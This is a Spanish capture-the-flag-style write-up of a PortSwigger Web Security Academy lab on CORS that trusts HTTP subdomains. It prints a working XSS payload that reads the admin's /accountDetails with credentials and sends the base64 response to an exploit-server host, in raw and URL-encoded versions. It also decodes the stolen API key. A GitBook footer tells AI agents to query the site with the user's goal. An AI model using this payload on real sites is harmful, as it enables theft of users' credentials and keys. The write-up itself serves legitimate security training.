> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/cors/cors-with-trusted-insecure-protocols.md).

# CORS con protocolos inseguros de confianza

Notas de CORS con protocolos inseguros de confianza para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### Vulnerabilidad de CORS con protocolos inseguros de confianza

El sitio tiene una configuración de CORS vulnerable: confía en todos **subdominios**, incluso cuando se usa **HTTP**. El objetivo es recuperar la clave API del administrador a través de CORS y extraerla al servidor de explotación.

Credenciales proporcionadas: `wiener:peter`.El sitio tiene una configuración de CORS vulnerable: confía en todos **subdominios**, incluso cuando se usa **HTTP**. El objetivo es recuperar la clave API del administrador a través de CORS y extraerla al servidor de explotación.

Credenciales proporcionadas: `wiener:peter`.

#### Observaciones

* El dominio raíz se acepta en **HTTP**:

{% code overflow="wrap" %}

```html
Origen: http://0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-03b8f53f1d73d2248aa0817f6ef7b13481bc88b2%2F%7B753528B9-5C90-4408-9586-F6637353734E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Subdominios** en HTTP también se aceptan:

{% code overflow="wrap" %}

```
Origen: http://jord4n.0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5395fe07b351a15ed3029546ffa55a1bd63fa9ce%2F%7B57F2E23A-5484-40D4-8C5A-8906831F81CD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Subdominio identificado mediante stockcheck:

{% code overflow="wrap" %}

```html
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=1&storeId=1
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de94abfb106a7d1b61d5d6bb18aa6678dfd83bed%2F%7B80D49520-3E5E-495C-A92D-68219230C80D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Este artículo refleja `productId` → \*\*inyección HTML/JS\*\* posible:

```html
?productId=test&storeId=1
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-deb1a67546848c7608f36c8b764be42dbf912839%2F%7BED081033-61A4-462A-B337-F4FA02C27E26%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```html
?productId=<h1>hello</h1>&storeId=1
?productId=<script>alert(0)</script>&storeId=1
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d57c6471c947230db0eed8aac3bf51509ee0999f%2F%7BB0C89E2A-DE59-44A0-B3C1-EDADA8CA1EFD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7c39961c83547a93fc0bb0c42273093ead3d75e9%2F%7B09CEDAD3-B9FB-430C-AEC1-5E4B705090F5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Explotación: Lectura `/accountDetails` y exfiltración

Script XHR utilizado (enviado mediante subdominio):

```javascript
<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>
```

Inyectar script en el `productId` parámetro del subdominio vulnerable:

```javascript
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>&storeId=1
```

Redirigir a la URL para explotar con la `apiKey` variable que contiene la respuesta codificada.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-922aeb0a58e86760f2acba38180b562cbeea7886%2F%7B1831EA33-51C0-474F-81CA-62F01D01AA52%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Carga útil enviada a la víctima (versión codificada en URL)

```javascript
<script>
document.location = 'http://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=%3Cscript%3Evar%20req=new%20XMLHttpRequest();req.onload=function(){location=%27https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=%27%2bbtoa(req.responseText);};req.open(%27GET%27,%27https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails%27,true);req.withCredentials=true;req.send();%3C//script%3E&storeId=1';
</script>
```

* Recibir la clave API en el servidor para explotar mediante el `apiKey` parámetro.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a24ace683c7d5aa2bbd5e412105d9c5e6886543f%2F%7B8A3DE62E-6543-4074-BCEB-34162FD66695%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Decodificación realizada con:

```bash
echo -n "ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIllUY0ViOFFLb3F1SE90MTJ4bGt1M1ZoYTlFNk0wbDJIIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiZ25yTGM2UDVEb01uQmxyUTczQ3l6SldBUnJzTXJpYlciCiAgXQp9" | base64 -d
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-41b05eb06e8c5bd008b05ca7a5cd7bb4fb68ac6e%2F%7BA9A610D7-9469-41E0-917E-99EBFCA3DEB4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/cors/cors-with-trusted-insecure-protocols.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
